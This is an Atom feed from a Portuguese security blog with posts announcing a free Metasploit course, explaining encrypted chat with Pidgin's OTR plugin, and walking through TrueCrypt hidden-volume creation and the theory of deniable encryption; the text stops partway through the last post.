<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-13818048</id><updated>2012-01-26T08:47:58.276-02:00</updated><category term='linux'/><category term='pacotes'/><category term='hack'/><category term='man in the middle'/><category term='arp spoof'/><category term='trojan horse'/><category term='gerenciamento de redes'/><category term='bypass firewall'/><category term='mitm'/><category term='books'/><category term='tutoriais'/><category term='security'/><category term='free'/><category term='how to ettercap'/><category term='netcat how to use'/><category term='bloqueio'/><category term='dns spoof'/><category term='metasploit'/><category term='layer 7'/><category term='layer7'/><category term='Tutorials'/><category term='hacker'/><category term='compartilhar conexão'/><category term='compartilhar internet'/><category term='download'/><category term='grátis'/><category term='programas para redes'/><category term='arp attack'/><category term='servers'/><category term='ids'/><category term='sniffer'/><category term='concepts'/><category term='how to make'/><category term='services'/><category term='livros'/><category term='firewall'/><category term='ettercap'/><category term='ettercap how to use'/><category term='sniffing'/><category term='pentest'/><category term='rede'/><category term='netcat'/><category term='infra structure'/><title type='text'>I-Secure</title><subtitle type='html'>Open-source, Segurança e pesquisa.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>34</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-13818048.post-1904931676150610231</id><published>2009-09-21T18:07:00.005-03:00</published><updated>2009-09-21T18:14:40.653-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ettercap how to use'/><category scheme='http://www.blogger.com/atom/ns#' term='ettercap'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Curso do Metasploit Framework</title><content type='html'>O pessoal do "&lt;a href="http://www.offensive-security.com/"&gt;Offensive Security&lt;/a&gt;" lançou hoje um curso online para quem quer aprender a usar o framework de pentest (Teste de penetração) Metasploit.&lt;br /&gt;&lt;br /&gt;Vale salientar que ele é de &lt;span style="font-weight: bold;"&gt;GRAÇA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Segue o link: &lt;a href="http://www.offensive-security.com/metasploit-unleashed/"&gt;http://www.offensive-security.com/metasploit-unleashed/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 408px; height: 195px;" src="http://www.offensive-security.com/msf/logo-00.png" alt="" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Se você gostarem, não se esqueçam de doar para o HFC (Hackers for Charity), são apenas 4 dólares e farão a diferença para alguém. E é um valor muito baixo para o tipo de conhecimento que se adquire com um curso desse.&lt;br /&gt;&lt;br /&gt;Espero que gostem e usem com sabedoria.&lt;br /&gt;&lt;br /&gt;Abraços&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-1904931676150610231?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/1904931676150610231/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=1904931676150610231' title='5 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/1904931676150610231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/1904931676150610231'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2009/09/curso-do-metasploit-framework.html' title='Curso do Metasploit Framework'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-4630333427727064608</id><published>2009-09-11T05:30:00.002-03:00</published><updated>2009-09-11T05:35:50.207-03:00</updated><title type='text'>Comunicações seguras.</title><content type='html'>Com o aumento da importância de comunicações multidestinatárias é desejável que as trocas de informações entre membros de um grupo ocorram em um ambiente seguro, onde há garantia da privacidade, autenticidade e integridade das informações transmitidas.&lt;br /&gt;&lt;br /&gt;Os senhores podem não saber mas as comunicações que utilizamos no nosso dia a dia não são nada seguras. Um simples sniffer (wireshark) na rede pode captar todo o conteúdo de e-mails, mensagens instantâneas (MSN, ICQ, IRC e etc) e até gravar o conteúdo de conversas sobre VoIP. &lt;a href="http://wiki.wireshark.org/VoIP_calls"&gt;http://wiki.wireshark.org/VoIP_calls&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Para que nós possamos prevenir que nossos dados sejam expostos há uma série de procedimentos que podem (e devem) ser tomados para garantir a segurança nas suas comunicações.&lt;br /&gt;&lt;br /&gt;Neste artigo vou abordar a criação de uma forma segura e simples de se comunicar utilizando o Ubuntu, o cliente de mensagens Pidgin.&lt;br /&gt;&lt;br /&gt;Para mantermos a comunicação entre diversos protocolos de mensagens instantâneas, utilizaremos um plugin do Pidgin chamado OTR (Off the record Messaging ou Messagens sem registro).&lt;br /&gt;&lt;br /&gt;Para saber como Instalar, configurar e usar o pidgin dê uma olhada &lt;a href="http://drkmario.blogspot.com/2009/09/usando-o-pidgin-para-conectar-na-rede.html"&gt;neste outro post&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Após estar familiarizado com o Pidgin, basta ir em: &lt;a href="http://www.cypherpunks.ca/otr/index.php#downloads"&gt;http://www.cypherpunks.ca/otr/index.php#downloads&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Baixe a versão do seu sistema operacional e instale.&lt;br /&gt;Lembre-se que após instalar a versão com o plugin você tem que reiniciar o pidgin para que o plugin funcione.&lt;br /&gt;&lt;br /&gt;Uma vez baixado, ele irá constar como “plugin” no Pidgin. Basta clicar no menu &lt;span style="font-weight: bold;"&gt;Ferramentas --&gt; Plugins&lt;/span&gt; e selecionar a opção “&lt;span style="font-weight: bold;"&gt;Configurar plugin&lt;/span&gt;”. Ali é possível gerar as chaves criptográficas que serão usadas para “criptografar” as conversas. &lt;br /&gt;&lt;br /&gt;Depois, basta iniciar uma conversa com outra pessoa que também tenha o OTR e iniciar a sessão de conversa (private). O OTR exigirá que você “autentique” a outra pessoa. Isso serve para certificar que a pessoa com quem você está falando é mesmo quem ela diz ser.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://g1.globo.com/Noticias/Tecnologia/foto/0,,20403316-EX,00.jpg" width="411" height="257" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Na versão atual do OTR, a 3.2.0, é possível fazer a autenticação de três maneiras: pergunta com resposta secreta, segredo compartilhado e autenticação manual. A primeira, como o próprio nome sugere, funciona com uma pergunta que a outra pessoa terá de responder. O “segredo compartilhado” é apenas uma frase ou combinação qualquer que os dois participantes da conversa precisam saber com antecedência. É claro que o referido “segredo” precisa ser compartilhado por um meio seguro (pessoalmente, por exemplo).&lt;br /&gt;&lt;br /&gt;A autenticação manual ambos dizem que confiam na chave do outro. A chave pode ser identificada por meio da digital (“fingerprint”). A chave não deverá mudar desde que o computador usado para a comunicação seja o mesmo. Caso o mesmo usuário esteja com outra chave, seria sinal de um impostor. &lt;br /&gt;&lt;br /&gt;Assim, além de garantir a segurança da comunicação, o OTR também garante que a pessoa com quem você está falando não teve sua a senha roubada. A vantagem dos outros métodos de autenticação (resposta secreta e segredo compartilhado) é que haverá uma verificação em cada conversa, garantindo que mesmo alguém usando o mesmo computador não consiga se passar pela pessoa com quem você gostaria de falar.&lt;br /&gt;&lt;br /&gt;Vale lembrar também que você pode aumentar sua segurança criando um servidor de mensagens XMPP no qual ele fará o manuseio das suas sessões e mensagens. Um ótimo XMPP server é o &lt;a href="http://www.igniterealtime.org/projects/openfire/"&gt;Openfire&lt;/a&gt;. Vale a pena conferir, pois ele substitui os Mensageiros Instantâneos em várias empresas e governos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-4630333427727064608?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/4630333427727064608/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=4630333427727064608' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/4630333427727064608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/4630333427727064608'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2009/09/comunicacoes-seguras.html' title='Comunicações seguras.'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-5698588011646066372</id><published>2009-09-11T04:35:00.001-03:00</published><updated>2009-09-11T04:35:06.045-03:00</updated><title type='text'>Usando o Pidgin para conectar na rede Jabber</title><content type='html'>Confira nestes slides de como Instalar, configurar e usar o Pidgin.&lt;br /&gt;&lt;br /&gt;Eu recomendo por ser uma ótima ferramenta que funciona tanto no linux como no windows e tem várias implementações no quesito segurança.&lt;div style="width:425px;text-align:left" id="__ss_48768"&gt;&lt;a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/bardo/usando-o-pidgin-para-conectar-na-rede-jabber" title="Usando o Pidgin para conectar na rede Jabber"&gt;Usando o Pidgin para conectar na rede Jabber&lt;/a&gt;&lt;object style="margin:0px" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=usando-o-pidgin-para-conectar-na-rede-jabber-4647&amp;stripped_title=usando-o-pidgin-para-conectar-na-rede-jabber" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=usando-o-pidgin-para-conectar-na-rede-jabber-4647&amp;stripped_title=usando-o-pidgin-para-conectar-na-rede-jabber" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"&gt;View more &lt;a style="text-decoration:underline;" href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a style="text-decoration:underline;" href="http://www.slideshare.net/bardo"&gt;bardo&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-5698588011646066372?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/5698588011646066372/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=5698588011646066372' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/5698588011646066372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/5698588011646066372'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2009/09/usando-o-pidgin-para-conectar-na-rede.html' title='Usando o Pidgin para conectar na rede Jabber'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-148612166133004952</id><published>2009-09-05T00:14:00.003-03:00</published><updated>2009-09-05T00:23:47.942-03:00</updated><title type='text'>Criptografia de arquivos - Parte 2 - Prática</title><content type='html'>Na continuação do artigo &lt;a title="Criptografia de arquivos - Parte 1 - Teoria" href="http://drkmario.blogspot.com/2009/09/criptografia-de-arquivos-parte-1-teoria.html" id="ota-"&gt;Criptografia de arquivos - Parte 1 - Teoria&lt;/a&gt; vamos criar um drive / volume escondido de dupla face (Hidden Volume) utilizando o Truecrypt no Ubuntu linux.&lt;br /&gt;&lt;br /&gt;Mãos à obra.&lt;br /&gt;&lt;br /&gt;Após instalado o Truecrypt, vá no menu:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Aplicativos -&amp;gt; Outros -&amp;gt; Truecrypt&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;A tela abaixo deve aparecer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="zn9e" style="text-align: left;"&gt;&lt;img style="width: 369px; height: 335px;" src="http://docs.google.com/File?id=d4vw2bs_276c5c6jcs_b" /&gt;&lt;/div&gt;&lt;br /&gt;Clique no botão "Create Volume" para começar a criação do seu drive.&lt;br /&gt;&lt;br /&gt;Aparecerá na sua tela o Assistente de criação de volume:&lt;br /&gt;Selecione "Create an encrypted file container"&lt;br /&gt;&lt;br /&gt;&lt;div id="jyhz" style="text-align: left;"&gt;&lt;img style="width: 373px; height: 220px;" src="http://docs.google.com/File?id=d4vw2bs_28fgk6x95m_b" /&gt;&lt;/div&gt;&lt;br /&gt;Selecione a opção "Hidden Truecrypt volume"&lt;br /&gt;&lt;br /&gt;&lt;div id="s:0t" style="text-align: left;"&gt;&lt;img style="width: 373px; height: 220px;" src="http://docs.google.com/File?id=d4vw2bs_29fsm8hvd8_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Escolha o nome e o lugar onde o arquivo criptografado contendo o seu drive irá ficar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="mpn2" style="text-align: left;"&gt;&lt;img style="width: 374px; height: 221px;" src="http://docs.google.com/File?id=d4vw2bs_30gpmcwjc2_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Selecione o algoritmo de criptografia que será usado. Conforme escrevi no artigo anterior estarei usado o algoritmo AES Rijandel e para geração da chave criptográfica (hash) utilizarei o RIPEMD-160 por se tratar de um algortimo que gera chaves fortes.&lt;br /&gt;&lt;br /&gt;&lt;div id="dxwl" style="text-align: left;"&gt;&lt;img style="width: 374px; height: 221px;" src="http://docs.google.com/File?id=d4vw2bs_31vc2rjcc_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Selecione o tamanho que você deseja que o seu drive possua. É bom ficar atento ao fato de que é necessário um tamanho maior do que os arquivos sensíveis do volume escondido, ou seja, é necessário calcular aproximadamente qual tamanho dos arquivos que você irá utilizar de isca + arquivos sensíveis.&lt;br /&gt;&lt;br /&gt;&lt;div id="e5z_" style="text-align: left;"&gt;&lt;img style="width: 374px; height: 221px;" src="http://docs.google.com/File?id=d4vw2bs_32gc5grmf8_b" /&gt;&lt;/div&gt;&lt;br /&gt;Seleciona uma senha para o volume "de fora" (isca). Podemos também utilizar um arquivo de chave (qualquer arquivo serve) para podermos acessar os dados criptografados. Para uma maior segurança é recomendado a utilização de uma chave juntamente com uma senha.&lt;br /&gt;&lt;br /&gt;&lt;div id="wlpz" style="text-align: left;"&gt;&lt;img style="width: 375px; height: 222px;" src="http://docs.google.com/File?id=d4vw2bs_33dscq6w33_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Agora chegou a hora do programa criar a chave de criptografia para o seu volume externo.&lt;br /&gt;Mexa o mouse aleatoriamente para aumentar a segurança da chave, quanto mais tempo e mais vezes você mexer o mouse, mais forte a chave ficará.&lt;br /&gt;&lt;br /&gt;&lt;div id="dcz1" style="text-align: left;"&gt;&lt;img style="width: 375px; height: 222px;" src="http://docs.google.com/File?id=d4vw2bs_34hsfpsvnm_b" /&gt;&lt;/div&gt;&lt;br /&gt;Pronto, agora o seu volume externo está pronto para ser usado. Clique em "Open Outer Volume" para abrir o seu drive isca e colocar os arquivos isca nele. Note que estes arquivos irão consumir espaço no seu drive criptografado.&lt;br /&gt;&lt;br /&gt;&lt;div id="ov1k" style="text-align: left;"&gt;&lt;img style="width: 374px; height: 221px;" src="http://docs.google.com/File?id=d4vw2bs_35fq85fqd4_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Após colocarmos os arquivos isca, vamos à criação do drive escondido.&lt;br /&gt;&lt;br /&gt;&lt;div id="wkkm" style="text-align: left;"&gt;&lt;img style="width: 373px; height: 314px;" src="http://docs.google.com/File?id=d4vw2bs_36fs6bdshs_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Após colocar os arquivos isca voltaremos à tela do Truecrypt para a criação do "Hidden Volume"&lt;br /&gt;&lt;br /&gt;&lt;div id="o3:v" style="text-align: left;"&gt;&lt;img style="width: 374px; height: 221px;" src="http://docs.google.com/File?id=d4vw2bs_37dp68bzf8_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Novamente escolha os algoritmos de encriptação.&lt;br /&gt;&lt;br /&gt;&lt;div id="y5pr" style="text-align: left;"&gt;&lt;img style="width: 374px; height: 221px;" src="http://docs.google.com/File?id=d4vw2bs_38dhgt58g4_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Selecione o tamanho do drive interno (escondido).&lt;br /&gt;Quanto maior o tamanho do drive escondido menos espaço você terá para os arquivos isca, e vice-versa.&lt;br /&gt;&lt;br /&gt;&lt;div id="js_." style="text-align: left;"&gt;&lt;img style="width: 374px; height: 221px;" src="http://docs.google.com/File?id=d4vw2bs_39cpx35wcq_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Escolha a sua senha e/ou arquivo chave.&lt;br /&gt;&lt;br /&gt;&lt;div id="rq1s" style="text-align: left;"&gt;&lt;img style="width: 377px; height: 223px;" src="http://docs.google.com/File?id=d4vw2bs_40cf7zqxfk_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Selecione o tipo de partição que este drive irá usar.&lt;br /&gt;Para uma maior interoperabilidade entre os sistemas, utilizarei FAT, mas esta escolha fica a cargo da necessidade de cada um.&lt;br /&gt;&lt;br /&gt;&lt;div id="ef0_" style="text-align: left;"&gt;&lt;img style="width: 374px; height: 221px;" src="http://docs.google.com/File?id=d4vw2bs_41hcx3p9dw_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Novamente mova o mouse para criar uma chave forte de criptografia.&lt;br /&gt;&lt;br /&gt;&lt;div id="iih." style="text-align: left;"&gt;&lt;img style="width: 374px; height: 221px;" src="http://docs.google.com/File?id=d4vw2bs_42c838w9fz_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Pronto, seu volume agora foi criado e está pronto para ser usado.&lt;br /&gt;&lt;br /&gt;&lt;div id="cgf0" style="text-align: left;"&gt;&lt;img style="width: 375px; height: 222px;" src="http://docs.google.com/File?id=d4vw2bs_43fchnjhdr_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Agora basta abrir o arquivo no Truecrypt com ambas as senhas e verificar as diferenças.&lt;br /&gt;Selecione o slot que você quer que o truecrypt use para montar o seu drive.&lt;br /&gt;Clique me "Select file..." e logo em seguida "Mount".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="f8yo" style="text-align: left;"&gt;&lt;img style="width: 374px; height: 340px;" src="http://docs.google.com/File?id=d4vw2bs_45d5r47pcz_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Digite a senha do volume externo (o drive isca).&lt;br /&gt;&lt;br /&gt;&lt;div id="jlz0" style="text-align: left;"&gt;&lt;img style="width: 377px; height: 128px;" src="http://docs.google.com/File?id=d4vw2bs_46ghhzjndd_b" /&gt;&lt;/div&gt;&lt;br /&gt;E os arquivos isca irão aparecer.&lt;br /&gt;&lt;br /&gt;&lt;div id="sb5n" style="text-align: left;"&gt;&lt;img style="width: 375px; height: 316px;" src="http://docs.google.com/File?id=d4vw2bs_36fs6bdshs_b" /&gt;&lt;/div&gt;&lt;br /&gt;Agora vamos desmontar o drive para que possamos conferir o conteúdo do drive escondido.&lt;br /&gt;&lt;br /&gt;&lt;div id="dhpr" style="text-align: left;"&gt;&lt;img style="width: 375px; height: 341px;" src="http://docs.google.com/File?id=d4vw2bs_47gx8nw6dj_b" /&gt;&lt;/div&gt;&lt;br /&gt;Selecione novamente o arquivo:&lt;br /&gt;&lt;br /&gt;&lt;div id="qxn_" style="text-align: left;"&gt;&lt;img style="width: 375px; height: 341px;" src="http://docs.google.com/File?id=d4vw2bs_45d5r47pcz_b" /&gt;&lt;/div&gt;&lt;br /&gt;E coloque a senha do drive/volume escondido:&lt;br /&gt;&lt;br /&gt;&lt;div id="hai0" style="text-align: left;"&gt;&lt;img style="width: 374px; height: 127px;" src="http://docs.google.com/File?id=d4vw2bs_46ghhzjndd_b" /&gt;&lt;br /&gt;&lt;br /&gt;E pronto, agora podemos acessar nossos arquivos seguramente.&lt;br /&gt;&lt;br /&gt;&lt;div id="dgvu" style="text-align: left;"&gt;&lt;img style="width: 375px; height: 356px;" src="http://docs.google.com/File?id=d4vw2bs_48cz3kghfp_b" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Há várias outras formas de se combinar as opções desse programa. Basta testar e ver quais atende melhor às suas necessidades.&lt;br /&gt;&lt;br /&gt;Espero que este tutorial possa ajudar.&lt;br /&gt;&lt;br /&gt;Abraços&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-148612166133004952?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/148612166133004952/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=148612166133004952' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/148612166133004952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/148612166133004952'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2009/09/criptografia-de-arquivos-parte-2.html' title='Criptografia de arquivos - Parte 2 - Prática'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-639596463918737992</id><published>2009-09-04T03:51:00.003-03:00</published><updated>2009-09-04T04:02:48.006-03:00</updated><title type='text'>Criptografia de arquivos - Parte 1 - Teoria</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_P03K0mNYCME/SqC7fMzz_-I/AAAAAAAACTU/QJCpfDN1k2M/s1600-h/criptografia.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 320px;" src="http://2.bp.blogspot.com/_P03K0mNYCME/SqC7fMzz_-I/AAAAAAAACTU/QJCpfDN1k2M/s320/criptografia.png" alt="" id="BLOGGER_PHOTO_ID_5377504099769253858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Resumo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para quem não está familiarizado com os conceitos de criptografia, algoritmos e chaves aconselho ler o seguintes artigo:&lt;br /&gt;&lt;a href="http://informatica.hsw.uol.com.br/criptografia.htm"&gt;http://informatica.hsw.uol.com.br/criptografia.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;O estudo da criptografia cobre bem mais do que apenas cifragem e deciframento de dados. É um ramo especializado da teoria da informação com muitas contribuições feitas a partir de outros campos da matemática e do conhecimento humano, incluindo autores como Maquiavel, Sun Tzu e Karl von Clausewitz. A criptografia moderna é basicamente formada pelo estudo dos algoritmos criptográficos que podem ser implementados em computadores.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Aplicações&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As aplicações de criptografia no dia a dia são bem mais comuns do que se pode imaginar. Por exemplo, quando você acessa o seu “MSN” a sua senha (e somente ela) passa por uma conexão criptografada ou quando você acessa qualquer serviço dos grandes provedores de conteúdo e ferramentas (google, yahoo, microsoft, facebook e etc...) você está fazendo uso de criptografia.&lt;br /&gt;&lt;br /&gt;Mas isto é apenas um pequena parte da implementação possível com esta tecnologia.&lt;br /&gt;&lt;br /&gt;É importante proteger os seus dados, informações e privacidade assim como pesquisas e documentos de grande importância e com alguns softwares, pouco tempo e de uma forma bem simples podemos melhorar consideravelmente o nossa segurança.&lt;br /&gt;&lt;br /&gt;Neste artigo vou focar apenas na criação de Drive Criptografado de dulpa face no Ubuntu linux.&lt;br /&gt;&lt;br /&gt;Por que você quer criar um drive criptografado? Provavelmente é porque você tem algum arquivo de segurança sensível que você não quer que outras pessoas tenham acesso. Um disco criptografado fornece um lugar seguro para colocar esses tipos de arquivos para que as pessoas não possam ver ou acessá-los sem uma senha.&lt;br /&gt;&lt;br /&gt;Por que você quer criar um drive oculto? Há 2 razões principais. O primeiro é porque você tem arquivos sensíveis como mencionado acima. Talvez você não queira que as pessoas saibam que eles existem.&lt;br /&gt;&lt;br /&gt;A segunda razão é mais grave. Recentemente, vários governos têm implementado leis onde você pode ser forçado a fornecer as chaves de criptografia para oficiais do governo (por exemplo, nos aeroportos) para que eles possam decodificar seus arquivos. Pode ser considerado um crime não para fornecer ou falar que você esqueceu essas chaves/senhas.&lt;br /&gt;&lt;br /&gt;Agora imagine se você pudesse entregar uma chave que eles podem usar, descriptografar alguns arquivos que não você não se preocupa que sejam expostos e ainda assim eles não têm acesso a seus arquivos confidenciais. Imagine se eles nunca poderem provar que você estava escondendo nenhum documento adicional e que poderia, portanto, mostrar que tem sido completamente obediente às leis e ainda assim manter seus arquivos seguros. Isto é agora possível!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;AVISO:&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Eu não violo as leis e também não encorajo ninguém a quebrar/violar as leis. Se você não puder entregar uma chave de encriptação quando estiver obrigado legalmente a fazê-lo, você pode estar quebrando a lei. Não faça isso.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;O programa.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Como funciona ?&lt;br /&gt;&lt;br /&gt;Primeiro um drive container criptografado é criado. Alguns arquivos não secretos são colocados nesta unidade. O espaço restante deste drive é formado por dados aleatórios. Então, dentro desses dados aleatórios, uma segunda unidade escondida é criada. Esta unidade só pode ser acessada com uma outra chave de encriptação diferente da usada para criar o primeiro container. Sem essa chave deve ser matematicamente impossível identificar se os dados aleatórios são de fato dados aleatórios ou uma segunda unidade criptografada escondida. Esta segunda unidade poderia ser apenas o espaço livre dentro da primeira unidade.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Quando forçados sob coerção para fornecer uma chave de encriptação, você fornece a primeira. Eles podem descriptografar o disco do primeiro container. Eles então terão acesso aos seus arquivos não secretos e/ou não sensíveis (chamados de arquivos Isca) . Eles não tem como saber se há alguma coisa no espaço restante e você obedeceu a lei entregando uma chave de decodificação criptografica. Dados os arquivos isca que você utilizou no primeiro container quem quer que tenha conseguido a chave vai ficar bastante ocupado tentando descobrir o porque você criptografou os seus arquivos ou então ficar frustrado por não ter achado nada que valesse a pena.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Existem muitas pesquisas no campo da criptografia assim como vários algoritmos de criptografia. Sendo que muitos deles já são facilmente quebrados por computadores domésticos comuns.&lt;br 